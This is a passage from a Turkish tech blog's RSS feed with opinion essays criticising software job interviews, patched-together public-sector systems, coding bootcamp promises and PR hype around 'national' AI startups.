<p>Şirketin mülakatı yapan mühendisi ekranda belirir. Şirketin kendi kod tabanı spagettiye dönmüştür, veritabanında tek bir indeks bile yoktur, mimari her cuma çökmektedir. Ama o an mülakatı yapan kişi kendini bir Turing Ödülü jürisi gibi konumlandırır.</p>
<p>Adaya şunu sorar:<br>
<em>"Ekranı paylaş ve beyaz tahtada (Whiteboard) bana bir ikili ağacı (binary tree) tersine çeviren ve karmaşıklığı <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>log</mi><mo>⁡</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(\log n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span> olan algoritmayı kodla."</em></p>
<p>Aday terler. O algoritmayı gerçek meslek hayatında bir kez bile kullanmayacağını ikisi de çok iyi bilmektedir. Ama aday önceki hafta LeetCode'da o soruyu ezberlemiştir. Rolünü mükemmel oynar; sanki o an düşünüyormuş gibi tavana bakar, sakalını kaşır ve ezberlediği çözümü tahtaya yazar: <em>"Hocam burada dinamik programlama yaklaşımıyla bellek karmaşıklığını minimize ettim."</em></p>
<p>Mülakatı yapan mest olur: <em>"Harika bir algoritma vizyonu!"</em></p>
<p>İki taraf da rolünü kusursuz oynamıştır. Aday işe kabul edilir.</p>
<h3>Dördüncü Perde: Gerçeklikle Çarpışma</h3>
<p>Ve ilk iş günü. Çocuk heyecanla ofise gelir. "Acaba bugün hangi dağıtık algoritmayı optimize edeceğim, hangi Kubernetes pod'larını uçuracağım?" diye bekler.</p>
<p>Kıdemli mühendis yanına gelir, eline bir dosya tutuşturur:<br>
<em>"Hoş geldin kardeşim. Bizim muhasebe her ay sonunda logları Excel'e aktarıyor, oradaki tarih formatı bozuk çıkıyormuş. Şu PHP dosyasındaki string fonksiyonunu düzeltiver."</em></p>
<p>Çocuk ekrana bakar. 15 yıllık dokümantasyonsuz, tek bir satır testi olmayan, spagetti bir kod yığını... Mülakatta sorulan o ikili ağaçlardan, o Rust fantezilerinden, o Kafka kuyruklarından eser yoktur!</p>
<p>Şirket ikili ağaç tersine çevirebilen dahi aramıştır; ama ihtiyacı olan tek şey o tarih formatını düzeltecek sabırlı bir zanaatkardır.</p>
<h3>Bu Tiyatroyu Kim Bitirecek?</h3>
<p>Bu hastalıklı performans sanatı; sektörü gerçek mühendislikten, dürüstlükten ve verimlilikten koparıp koca bir ezbercilik sirkine dönüştürdü.</p>
<p>Şirketler mimari krizleri çözecek, soğukkanlılıkla sistemi ayakta tutacak adam aramıyor; mülakatta ezberlediği kalıpları en özgüvenli şekilde satan kişiyi işe alıyor. Sonra da o sistemlerin neden sürekli çöktüğünü merak ediyorlar.</p>
<p>Gerçek bir mülakat; adayın LeetCode hafızasını test etmek değildir.<br>
Gerçek bir mülakat;</p>
<ul>
<li>Adayın önüne şirketin gerçek, kanayan bir bug'ını koyup <em>"Bunu nasıl araştırırsın, nereden başlarsın?"</em> diye sormaktır.</li>
<li>Adayın daha önce yaptığı hataları, patlattığı sistemleri nasıl toparladığını dürüstçe dinlemektir.</li>
<li>İki tarafın da maskelerini çıkarıp, gerçek problemleri konuşabilme cesaretidir.</li>
</ul>
<p>Tiyatroyu bırakın.<br>
Ezber kalıpları çöpe atın.<br>
Ve masaya rol yeteneğinizi değil; gerçek, çıplak ve sahici mühendislik namusunuzu koyun.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>mulakat</category>
            <category>cv-yalanlari</category>
            <category>kariyer</category>
            <category>turkiye</category>
            <category>yazilim-sektoru</category>
            <category>algoritma</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/cvdeki-yalanlar-ve-mulakatta-performans-sanati-kimse-gercek-mimariden-bahsetmiyor/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Bütçe Yetersizliği Yüzünden "Yama Üstüne Yama" Yapılan Devlet/Kurumsal Projeleri]]></title>
            <link>http://localhost:3000/blog/post/butce-yetersizligi-yuzunden-yama-ustune-yama-yapilan-devletkurumsal-projeleri</link>
            <guid>butce-yetersizligi-yuzunden-yama-ustune-yama-yapilan-devletkurumsal-projeleri</guid>
            <pubDate>Sat, 11 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[İhale usulü veya kısıtlı bütçelerle yaptırılan devasa kamu ve kurumsal yazılımların nasıl birer Frankeştayn'a dönüştüğü. Sıfırdan yazılması gereken sistemlerin geçici yamalarla ayakta tutulma dramı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/butce-yetersizligi-yuzunden-yama-ustune-yama-yapilan-devletkurumsal-projeleri/thumbnail" alt=""> Büyük bir kamu hastanesinin acil servisinde veya bir devlet dairesinin sıra bekleme salonunda otururken, bankodaki memurun ekrana çaresizce bakıp şu cümleyi mırıldandığını mutlaka duymuşsunuzdur:<br>
<em>"Sistem yine gitti arkadaşlar, bir 10 dakika bekleteceğim."</em></p>
<p>Kuyruktaki vatandaşlar homurdanır, memur ekrana öfkeyle tıklar, tansiyon yükselir.</p>
<p>O an herkes suçu bankodaki memurda veya önündeki bilgisayarda sanır. Oysa arka planda, sunucu odalarının karanlığında can çekişen şey; <strong>yirmi yıldır yama üstüne yama yapılarak ayakta tutulmaya çalışılan, nefes almakta zorlanan devasa bir dijital Frankeştayn'dır.</strong></p>
<p>Türkiye'deki kamu yazılımlarının, belediye portallarının, hastane bilgi yönetim sistemlerinin (HBYS) ve devasa kurumsal altyapıların içine girdiğinizde; modern bilgisayar bilimlerinin değil, bürokratik bir kabusun tarihini okursunuz.</p>
<h3>İhale Mantığının İflası: "En Ucuza En Çürük Çözüm"</h3>
<p>Bu dijital çürümenin kök nedeni teknik değil; tamamen yönetsel ve mevzuatsaldır: <strong>Kamu İhale Kanunu ve "En Düşük Teklif" Zihniyeti.</strong></p>
<p>Normalde milyonlarca vatandaşın hayatına dokunan kritik bir sağlık veya vergi altyapısı kurulurken aranması gereken tek kriter: Sağlamlık, ölçeklenebilirlik, veri güvenliği ve sürdürülebilir mimari olmalıdır.</p>
<p>Peki bizde ihale nasıl açılır?<br>
Masa başına geçilir, 500 sayfalık kopyala-yapıştır şartnameler hazırlanır ve günün sonunda ihale; işi gerçekten en kaliteli yapacak mühendislik ekibine değil, <strong>en akıl almaz ve en ucuz fiyatı kıran taşeron şirkete</strong> verilir!</p>
<p>O taşeron şirket ihaleyi kazanır. Bütçe o kadar komiktir ki, projeye kaliteli bir kıdemli mimar veya güvenlik uzmanı atayamaz. İki tane yeni mezun gence <em>"Üç ayda bu sistemi bitirin"</em> denir. Gençler geceleri sabahlayarak, internetten buldukları hazır kod parçalarını birbirine bağlayarak derme çatma bir sistem kurar.</p>
<p>İhale teslim edilir, para alınır, şirket ortadan kaybolur.<br>
Ve kamu, o enkazla baş başa kalır.</p>
<h3>Yıkılmak Üzere Olan Tarihi Binaya Payanda Çakmak</h3>
<p>Aradan beş yıl geçer. Yeni bir yasa çıkar, vergi mevzuatı değişir veya yeni bir sağlık regülasyonu gelir.</p>
<p>O an yapılması gereken rasyonel hamle şudur: Bu derme çatma sistemi çöpe atmak, modern mimariyle sıfırdan sağlam bir altyapı inşa etmek.</p>
<p>Ama kamuda veya hantal kurumsal şirketlerde hiçbir yönetici bu sorumluluğu almak istemez. Çünkü sıfırdan sistem yazmak bütçe ister, onay süreçleri iki yıl sürer, en ufak bir aksaklıkta müfettişler kapıya dayanır. Yönetici için en güvenli yol, risk almamaktır.</p>
<p>Hemen başka bir şirkete küçük bir bütçeyle "bakım ve ek geliştirme" ihalesi verilir:<br>
<em>"Sisteme dokunmayın, sadece şu yeni kanunu sisteme yamayıverin."</em></p>
<p>Ve başlar yama üstüne yama devri:</p>
<ul>
<li>2005 yılında Delphi veya eski .NET ile yazılmış monolitik bir veritabanı çekirdeği,</li>
<li>Üzerine 2012'de yapıştırılmış hantal SOAP servisleri,</li>
<li>Onun üzerine 2018'de zorla eklenmiş bir REST API katmanı,</li>
<li>Ve en üstte 2024 model modern bir web arayüzü!</li>
</ul>
<p>Bu, taşıyıcı kolonları çatlamış, temeli kaymış tarihi bir binanın yıkılmasını engellemek için dışarıdan ahşap payandalar ve çelik tellerle binayı tutturmaya benzer. Her yeni eklenen özellik, binanın yükünü biraz daha artırır; ta ki bina kendi ağırlığının altında çökene kadar.</p>
<h3>Faturayı Memur ve Vatandaş Öder</h3>
<p>Bürokrasinin bu vizyonsuzluğunun faturasını Ankara'daki ihale komisyonları veya klimalı odalardaki yöneticiler ödemez.</p>
<p>Faturayı;</p>
<ul>
<li>Acil serviste kalbi duran hastanın tahlil sonucunu görebilmek için o kilitlenen ekrana çaresizce bakan genç bir doktor öder.</li>
<li>Tapu dairesinde tek bir imza için saatlerce kuyrukta bekleyen, öfkesi burnunda vatandaş öder.</li>
<li>Gece yarısı o çöken kamu sunucusunu ayağa kaldırabilmek için dua eden, tek bir satır dokümantasyonu olmayan o kodun içinde boğulan genç sistem mühendisi öder.</li>
</ul>
<h3>Yazılım Bir İhale Değil, Yaşayan Bir Hizmettir</h3>
<p>Bir köprü veya bir otoyol yaptığınızda ihaleyi verirsiniz; asfalt dökülür, beton kurur ve iş biter. Sonraki 10 yıl sadece bakımını yaparsınız.</p>
<p>Ama <strong>yazılım inşaat değildir.</strong> Yazılım; mevzuat değiştikçe, kullanıcı arttıkça sürekli beslenmesi, yenilenmesi, gereksiz parçalarından arındırılması gereken <strong>canlı bir organizmadır.</strong></p>
<p>Kamu teknolojilerini kurtarmanın tek yolu; "en ucuz taşerona yaptırıp kaçma" mantığını terk etmektir.<br>
Devlet kurumlarının ve büyük şirketlerin kendi bünyelerinde güçlü, liyakatli, iyi maaş alan kalıcı mühendislik kadroları kurması ve sistemleri birer ihale dosyası değil; yaşayan birer kamusal değer olarak yönetmesidir.</p>
<p>Yamalarla bina tutulmaz.<br>
Çürük temelin üzerine saray inşa edilmez.</p>
<p>Günü kurtarmak için atılan her geçici yama; geleceğimize bırakılmış affedilmez bir teknik borç ve utanç belgesidir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>kamu-yazilimlari</category>
            <category>teknik-borc</category>
            <category>turkiye</category>
            <category>ihale</category>
            <category>kurumsal-sistemler</category>
            <category>mimari</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/butce-yetersizligi-yuzunden-yama-ustune-yama-yapilan-devletkurumsal-projeleri/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Bootcamp" İllüzyonu: 6 Haftada Full-Stack Olunur mu?]]></title>
            <link>http://localhost:3000/blog/post/bootcamp-illuzyonu-6-haftada-full-stack-olunur-mu</link>
            <guid>bootcamp-illuzyonu-6-haftada-full-stack-olunur-mu</guid>
            <pubDate>Fri, 10 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Üç ayda sıfırdan kıdemli yazılımcı vaat eden pazarlama koroları, kopyala-yapıştır portfolyolar ve gerçek mühendisliğin görmezden gelinen bedelleri üzerine.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/bootcamp-illuzyonu-6-haftada-full-stack-olunur-mu/thumbnail" alt=""> Son yıllarda sosyal medya akışlarını, otobüs duraklarını ve YouTube reklam aralarını aynı parlak, albenili slogan istila etti: <em>"Sıfırdan başla, 6 haftada Full-Stack Web Developer ol, 100 bin TL maaşla işe gir!"</em></p>
<p>Bu cümlenin altına yerleştirilen görsel genellikle aynıdır: Güneşli bir sahil kenarında, yanında soğuk kahvesiyle MacBook'una gülümseyerek bakan, hayatının stresini arkasında bırakmış 23 yaşında bir genç.</p>
<p>Bu vaadin karşısında durup derin bir nefes alıyorum. Çünkü bu sahneyi sağlık sektöründeki bir analogla düşündüğümde kanım donuyor. Bir kurumun çıkıp şöyle bir duyuru astığını hayal edin: <em>"Hafta sonları 6 hafta boyunca toplam 48 saat maket üzerinde dikiş atma ve sargı bezi sarma eğitimi alın; 7. haftanın pazartesi sabahı genel cerrahi kliniğinde karaciğer nakli ve açık kalp ameliyatı yapmaya başlayın!"</em></p>
<p>Böyle bir teklife aklı başında hiç kimse itibar etmez; dahası, bunu vadedenler hakkında nitelikli dolandırıcılıktan kamu davası açılır. Ancak söz konusu yazılım, dijital altyapılar ve insan hayatını dolaylı yoldan etkileyen kritik sistemler olduğunda, bu peri masalına her yıl on binlerce insan birikimlerini ve geleceğe dair en saf umutlarını yatırıyor.</p>
<p>Gerçeği en başta, hiçbir süslü cümlenin arkasına saklanmadan söyleyelim: <strong>Hayır, 6 haftada, 12 haftada, hatta yoğunlaştırılmış 6 ayda kimse "Full-Stack Mühendis" olamaz.</strong> Olabileceğiniz tek şey, belirli komutları belirli bir sırayla çalıştırmayı ezberlemiş bir "kod operatörü"dür. Ve bu ikisi arasındaki fark, acil tıp teknisyeni ile beyin cerrahı arasındaki fark kadar derindir.</p>
<h3>Klon Projeler Mezarlığı: Todo App'ten Öteye Geçememek</h3>
<p>Bir bootcamp müfredatının tipik anatomisini inceleyin. İlk iki hafta temel HTML, modern CSS ve biraz JavaScript sözdizimi. Üçüncü hafta React temelleri, bileşenler ve <code>useState</code>. Dördüncü hafta Node.js ve Express ile basit bir REST API, MongoDB bağlantısı. Beşinci hafta meşhur bitirme projesi: Ya bir Todo List uygulaması, ya bir e-ticaret sepeti ya da Netflix arayüz klonu. Altıncı hafta ise LinkedIn profil optimizasyonu ve mülakat tüyoları.</p>
<p>Peki bu sürecin sonunda öğrenci neyi öğrenmiş olur?</p>
<ul>
<li>Düğmeye basıldığında arayüzdeki sayacın 1 artmasını,</li>
<li>Postman'den gelen bir JSON gövdesini veritabanına <code>insert</code> etmeyi,</li>
<li>Tailwind sınıflarını kopyalayıp modern görünen bir kart bileşeni oluşturmayı.</li>
</ul>
<p>Peki bu öğrenci neyi <strong>öğrenmemiştir</strong>?</p>
<ul>
<li>Bir HTTP isteğinin DNS çözümlemesinden başlayıp TCP el sıkışması, TLS sertifika doğrulaması ve yük dengeleyiciden geçerek sunucuya ulaşırken kat ettiği fiziksel ve mantıksal yolculuğu.</li>
<li>Veritabanına yazdığı o basit <code>find()</code> sorgusunun, tabloda bir milyon satır olduğunda neden tüm CPU'yu kilitlediğini ve indeksleme mekanizmasının B-Tree mantığıyla nasıl çalıştığını.</li>
<li>Bellek yönetimini, çöp toplayıcının (Garbage Collector) çalışma döngüsünü, bir JavaScript closure'ının nasıl sinsi bir memory leak üretebileceğini.</li>
<li>Dağıtık bir sistemde iki mikroservis arasındaki ağ gecikmesinin ve paket kaybının tutarlılığı (data consistency) nasıl felç edebileceğini.</li>
</ul>
<p>Bu, bir ilk yardım kursiyerine otomatik şok cihazının (OED) yeşil tuşuna basmayı öğretip, ardından ona ritim bozukluklarının elektrofizyolojisini, iyon kanallarının sodyum-potasyum pompasını ve kardiyak arrest anında uygulanacak ileri yaşam desteği farmakolojisini bildiğini iddia ettirmek gibidir. Yeşil tuşa basmak hayat kurtarabilir; ancak hasta ventriküler fibrilasyon dışındaki karmaşık bir taşikardiye girdiğinde o kursiyer sadece çaresizce ekrana bakar.</p>
<p>Bootcamp mezunlarının hazırladığı portfolyoların birbirinin karbon kopyası olması tesadüf değildir. İK yöneticilerinin ve teknik liderlerin önüne gelen her yüz CV'nin sekseninde aynı projeler vardır: "React ile Netflix Klonu", "MERN Stack Todo Uygulaması", "Hava Durumu API'si". Kod tabanlarına girdiğinizde, eğitim videolarındaki değişken isimlerinin dahi değiştirilmediğini, StackOverflow'dan alınmış blokların arkasındaki mantığın kavranmadığını görürsünüz. Bu bir üretim değil, pandomimdir.</p>
<h3>"Full-Stack" Unvanının İflası</h3>
<p>Sektörün en büyük yanılsamalarından biri de "Full-Stack" kavramının içinin bu kadar fütursuzca boşaltılmasıdır.</p>
<p>Mühendislik tarihinde Full-Stack; donanımdan, işletim sistemi çekirdeğinden, ağ protokollerinden, veritabanı motorunun disk I/O davranışından başlayıp tarayıcının render motoruna ve CSS boyama (paint) döngülerine kadar sistemin yatay ve dikey tüm katmanlarında problem çözebilme yetkinliğine verilen bir payeydi. Bu unvan, en az on yıllık uykusuz gecelerin, çökertilmiş production ortamlarının, analiz edilmiş bellek dökümlerinin (core dump) ve çözülmüş krizlerin ardından bir saygı nişanesi olarak kazanılırdı.</p>
<p>Bugün ise üç hafta önce <code>console.log</code> yazmayı öğrenen birine, Express'e bir <code>router.get</code> ekleyip MongoDB'ye bağlandı diye "Full-Stack Developer" kartviziti basılıyor.</p>
<p>Bu durum, sağlık ocağında tansiyon ölçen hemşireye, laboratuvarda kan tüpü santrifüj eden biyoloğa ve ameliyatta bistüri uzatan personele aynı anda "Siz artık Genel Tıp ve Cerrahi Otoritesisiniz" demek kadar absürttür. Bir insan her şey olduğunu iddia ediyorsa, aslında hiçbir şeyde derinleşmemiştir. Arayüzün erişilebilirlik (a11y) standartlarından habersiz, CSS grid sisteminin repaint maliyetini bilmeyen; sunucu tarafında ise thread pool'un ne olduğunu dahi duymamış bir geliştiriciye "Full-Stack" demek, sadece o geliştiriciye değil, tüm meslek etiğine yapılmış bir haksızlıktır.</p>
<h3>Kırılan Hayaller ve Şişen İK Kutuları</h3>
<p>Bu bootcamp endüstrisinin en karanlık tarafı teknik yetersizlikler değil; yarattığı insan dramıdır.</p>
<p>Farklı sektörlerde asgari ücrete ya da mobbinge mahkum edilmiş, geleceğe dair umut arayan gencecik insanlar; kredi çekerek, altınlarını bozdurarak veya ailelerinin dişinden tırnağından artırdığı son kuruşları bu kurumlara aktarıyorlar. Onlara vadedilen şey sadece bir meslek değil, sınıf atlama biletidir: <em>"Sektörde yüz binlerce yazılımcı açığı var, mezun olur olmaz kapışılacaksınız."</em></p>
<p>Sonra ne oluyor? Kurs bitiyor. Sertifika alınıyor, LinkedIn'e o meşhur rozet ekleniyor. Ve o genç insan, Türkiye'nin acımasız ekonomik gerçekliğiyle yüzleşiyor.</p>
<p>Açılan tek bir "Junior Frontend Developer" ilanına 48 saat içinde 1.500 başvuru yağıyor. İK departmanları, ilk filtrede bootcamp sertifikalı ve bilgisayar mühendisliği temeli olmayan adayların CV'lerini doğrudan eliyor. Mülakata girmeyi başaran azınlık ise teknik liderin sorduğu ilk temel soruda eleniyor: <em>"Bize JavaScript'te event loop mekanizmasının nasıl çalıştığını ve microtask queue ile macrotask queue arasındaki farkı anlatabilir misiniz?"</em></p>
<p>Ezber bozuluyor. Çünkü bootcamp'teki eğitmen o sorunun cevabını müfredata koymamıştır; o sadece <code>async/await</code> yazıp geçmeyi göstermiştir.</p>
<p>Sonuç? Borç harç içinde kalmış, özgüveni yerle bir edilmiş, kendisini "yetersiz ve aptal" hisseden binlerce genç insan. Oysa aptal olan onlar değildir; açgözlü olan, eğitimin doğasındaki sabır, tekrar, usta-çırak ilişkisi ve acı çekme zorunluluğunu kapitalist bir "hızlı zengin olma" pazarlamasına dönüştüren eğitim simsarlarıdır.</p>
<h3>Mühendislik Sabırla Yoğrulur</h3>
<p>Bir cerrah nasıl ki yüzlerce saat kadavra başında ter dökmeden, binlerce ameliyatta sadece retraktör tutarak hocasının parmak hareketlerini izlemeden cerrah olamazsa; bir yazılım mühendisi de yüzlerce saat dokümantasyon okumadan, onlarca bellek sızıntısını satır satır debug etmeden, mimari kararların bedelini gecenin üçünde sunucu başında ödemeden mühendis olamaz.</p>
<p>Yazılım öğrenmek demokratikleşmelidir, evet. İnternetin sunduğu açık kaynak kaynaklar, bedava kütüphaneler ve global topluluklar bir nimettir. Üniversite diploması tek geçer akçe değildir; alaylı olup da sektörün en parlak mimarilerini inşa eden sayısız deha vardır. Ancak o alaylı dehaların hiçbiri "6 haftalık hızlı kurslarla" o noktaya gelmemiştir. Onlar gecelerini Linux çekirdeğinin kaynak kodlarını inceleyerek, RFC metinlerini satır satır hatmederek ve yıllarını bu zanaata adayarak o seviyeye ulaşmışlardır.</p>
<p>Eğer bu sektöre adım atmak istiyorsanız, mucize vaat eden satıcılardan uzak durun.</p>
<p>Öğrenmenin kestirme yolu yoktur. 6 haftada ancak bir kütüphanenin kullanım kılavuzunu ezberleyebilirsiniz; ama mühendislik, kütüphaneler çöktüğünde ve kılavuzlar tükendiğinde ne yapacağınızı bilme sanatıdır. Ve o sanat, sadece zamanla, sabırla ve gerçek problemlerin karşısında ter dökerek öğrenilir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>bootcamp</category>
            <category>yazilim-egitimi</category>
            <category>full-stack</category>
            <category>kariyer</category>
            <category>sektor-elestirisi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/bootcamp-illuzyonu-6-haftada-full-stack-olunur-mu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Türkiye'de Teknoloji Medyası ve "Yerli/Milli Startup" Abartısı]]></title>
            <link>http://localhost:3000/blog/post/turkiyede-teknoloji-medyasi-ve-yerlimilli-startup-abartisi</link>
            <guid>turkiyede-teknoloji-medyasi-ve-yerlimilli-startup-abartisi</guid>
            <pubDate>Thu, 09 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Açık kaynak kütüphanelere giydirilen Türkçe arayüzlerin "dünyayı sarsacak yapay zeka devrimi" olarak pazarlandığı bir ekosistemde hakikat ile PR illüzyonunu ayırt etmek.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/turkiyede-teknoloji-medyasi-ve-yerlimilli-startup-abartisi/thumbnail" alt=""> Haftada en az iki kez ana akım haber sitelerinde veya teknoloji bültenlerinde aynı şablonla hazırlanmış o görkemli manşete denk gelirsiniz:</p>
<p><em>"Türk Mühendislerden Dünyayı Sarsacak Buluş: Silikon Vadisi'ne Rakip Yerli ve Milli Yapay Zeka Çıktı!"</em></p>
<p>Haberin içeriğine tıkladığınızda, takım elbiseli kurucuların ofis koltuklarında verdikleri mağrur pozlar, arkada asılı duran neon şirket logoları ve "büyük vizyon" cümleleri karşılar sizi. Haberi okuyan sokaktaki sade vatandaş göğsü kabararak gururlanır; teknolojiyle ilgilenmeyen yatırımcılar heyecanla telefonlara sarılır.</p>
<p>Ancak bir yazılım mühendisi olarak o haberin bahsettiği ürünün GitHub deposuna, ağ isteklerine (network requests) veya kaynak koduna yakından baktığınızda hissettiğiniz tek şey derin bir mahcubiyet ve mesleki bir hicaptır.</p>
<p>Çünkü "dünyayı sarsacağı" iddia edilen o yerli teknoloji harikasının perdesini araladığınızda gördüğünüz şey şudur: Hugging Face'ten indirilmiş açık kaynaklı bir modelin üzerine yazılmış yirmi satırlık Python Flask kodu, Streamlit veya Tailwind ile giydirilmiş derme çatma bir arayüz ve butonların Türkçe'ye çevrilmesinden ibaret bir "inovasyon".</p>
<p>Ortada ne yeni bir mimari vardır, ne özgün bir matematiksel model, ne de optimize edilmiş bir derleyici. Sadece açık kaynak dünyanın emeğini alıp üzerine bir Türk bayrağı yapıştırmak ve bunu PR ajanslarının bültenleriyle milli bir zafer gibi servis etmek vardır.</p>
<h3>Tıpta Şarlatanlık, Teknolojide Yerlilik Maskesi</h3>
<p>Bu tablonun sağlık sektöründeki karşılığını çok iyi biliyoruz. Televizyon kanallarında veya gazete köşelerinde ara sıra türeyen merdiven altı "şifacılar" vardır. İki şifalı otu kaynatıp içine biraz nane ruhu damlatır ve kameraların karşısına geçip haykırırlar: <em>"Kansere %100 yerli ve milli kesin çözüm bulundu! Batılı ilaç lobileri bu ilacı gizliyor!"</em></p>
<p>Halkın çaresizliğini, umudunu ve milli duygularını istismar eden bu şarlatanlığın karşısında tıp dünyası ne yapar? Bilimsel metodolojiye başvurur. <em>"Kardeşim,"</em> der hekimler, <em>"bu maddenin etken maddesi nedir? Faz 1, Faz 2, Faz 3 klinik deneylerin nerede? Çift-kör plasebo kontrollü çalışman hangi hakemli uluslararası dergide (peer-reviewed) yayımlandı? Biyoyararlanımı ve toksisite raporların nerede?"</em></p>
<p>Şarlatan bu soruların hiçbirine cevap veremez; hemen hamasete sığınır: <em>"Bizi kıskanıyorlar, yerli buluşumuzun önünü kesmek istiyorlar."</em></p>
<p>İşte Türkiye'deki teknoloji medyasının ve "milli startup" simsarlarının yaptığı şey tam olarak budur.</p>
<p>Bir ürünün gerçekten inovatif, ölçeklenebilir ve derin teknoloji (deep-tech) barındırıp barındırmadığını sorgulayacak teknik liyakatten yoksun olan teknoloji basını; PR ajanslarının hazırladığı hazır basın bültenlerini kopyala-yapıştır yaparak yayınlamaktadır. Kimse şu soruları sormaz:</p>
<ul>
<li>Bu sistemin gecikme süresi (latency) ve hesaplama maliyeti (FLOPs) nedir?</li>
<li>Kendi altyapınızda eğittiğiniz özgün bir ağırlık matrisi (weights) var mı, yoksa OpenAI API'sine prompt mu fırlatıyorsunuz?</li>
<li>Sistem mimariniz hangi dağıtık sistem problemlerini çözüyor?</li>
<li>Bu ürün global pazarda AWS, Google veya Meta'nın aynı alandaki çözümlerine kıyasla nasıl bir teknik üstünlük vadediyor?</li>
</ul>
<p>Bu sorular sorulmadığı için, basit bir OpenAI wrapper'ı geliştiren herhangi bir ajans, ertesi sabah bültenlerde "Yerli ChatGPT" olarak manşetlere taşınabilmektedir.</p>
<h3>PR Balonunun Kısa Ömrü ve Sessiz İflaslar</h3>
<p>Bu yapay şovların ardında yatan asıl motivasyon nedir? Neden bu kadar büyük yalanlar, bu kadar pervasızca söylenir?</p>
<p>Cevap çok basit: <strong>Hibe, teşvik ve tohum yatırım kapmak.</strong></p>
<p>Devlet kurumlarının, kalkınma ajanslarının ve teknokentlerin dağıttığı hibelerin jürileri çoğu zaman derin teknik detaylara hakim olmayan bürokratlardan veya akademisyenlerden oluşur. Önlerine gelen projenin teknik fizibilitesinden ziyade; sunumun parlaklığına, içinde kaç kez "Yapay Zeka", "Blokzincir", "Yerli ve Milli", "Endüstri 4.0" geçtiğine ve basında çıkan haberlerin sayısına bakarlar.</p>
<p>PR ajansına verilen 50 bin TL ile üç büyük gazetede haber yaptırılır. O haberler çerçeveletilip dosyanın içine konur. Jüri etkilenir; hibe onaylanır, tohum yatırım alınır. Kurucular kendilerine lüks şirket araçları kiralar, teknokentin en havalı ofisine yerleşir ve bir yıl boyunca LinkedIn'de "ekosistem lideri" olarak panellerde konuşmacı olurlar.</p>
<p>Peki sonra ne olur?</p>
<p>Aradan 18 ay geçer. Hibe biter. Yatırım tükenir. Ortada ne global pazara satılabilmiş gerçek bir ürün vardır, ne de faturasını ödeyen gerçek bir müşteri. Çünkü PR haberleriyle teknoloji medyasına manşet olabilirsiniz; ancak global bir müşteriye ürün satamazsınız. Bir Alman mühendise veya Amerikalı bir şirkete "Biz yerli ve milliyiz" diyemezsiniz; onlar sadece ürünün API yanıt hızına, SLA güvenilirliğine ve fiyat/performans oranına bakarlar.</p>
<p>Ve o "dünyayı sarsan" yerli girişim, bir cuma akşamı web sitesini sessiz sedasız kapatır. Ne teknoloji medyası tek bir satır takip haberi yapar, ne de o hibeleri dağıtanlar hesabını sorar. Kervan yeni bir PR balonuyla yoluna devam eder.</p>
<h3>Sessiz Kalan Derin Mühendislik</h3>
<p>Bu gürültülü sirkin yarattığı en büyük tahribat, Türkiye'de gerçekten nitelikli, sessiz ve derin mühendislik yapan insanların emeğini gölgelemesidir.</p>
<p>Bodrum katlarında, gösterişsiz üniversite laboratuvarlarında veya mütevazı ev ofislerinde gecesini gündüzüne katarak açık kaynak çekirdeklere yama gönderen, gömülü sistemlerde mikrodenetleyici mimarilerini optimize eden, dağıtık veritabanlarında konsensüs algoritmaları üzerine kafa yoran gerçek mühendislerimiz var.</p>
<p>Bu insanlar PR bülteni yazmayı bilmezler. LinkedIn'de sahte başarı hikayeleri anlatıp duygu sömürüsü yapmazlar. Takım elbise giyip panellerde hamaset nutukları atmazlar. Onların tek derdi, yazdıkları kodun bellek sızıntısı yapmaması, ağ paketlerinin kaybolmaması ve algoritmalarının matematiksel doğruluğudur.</p>
<p>Ancak sahne ışıkları ve kaynaklar şovmenlere aktarıldığı için, bu gerçek değerler ne hak ettikleri yatırımı bulabilirler ne de kamuoyunda tanınırlar. Ve günün sonunda, bu ülkenin yetiştirdiği en parlak beyinler, bu içi boş tiyatrodan bıkıp bavullarını toplayarak Amsterdam'a, Berlin'e, Londra'ya göç ederler.</p>
<h3>Gerçek Yerlilik, Gerçek Liyakatle Başlar</h3>
<p>Bir yazılımın "yerli ve milli" olması, sunucusunun Türkiye sınırları içinde bir veri merkezinde barınmasından veya arayüzünün Türkçe olmasından ibaret değildir.</p>
<p>Gerçek bağımsızlık; dışa bağımlı olmadan kendi derleyicinizi optimize edebilmekten, kendi işletim sistemi çekirdeğinizi güvenli kılabilmekten, kendi kriptografik protokollerinizi matematiksel olarak kanıtlayabilmekten geçer. Başkalarının kütüphanelerini kopyalayıp üzerine etiket basmak bağımsızlık değil, sadece çağdaş bir kapitulasyondur.</p>
<p>Teknoloji medyasının görevi, PR ajanslarının kuryeliğini yapmak değil; halka ve sektöre karşı bir filtre, bir kalite kontrol mekanizması olmaktır. İnovasyon iddiasıyla ortaya çıkan her girişime o acımasız mühendislik sorularını sormak zorundadırlar.</p>
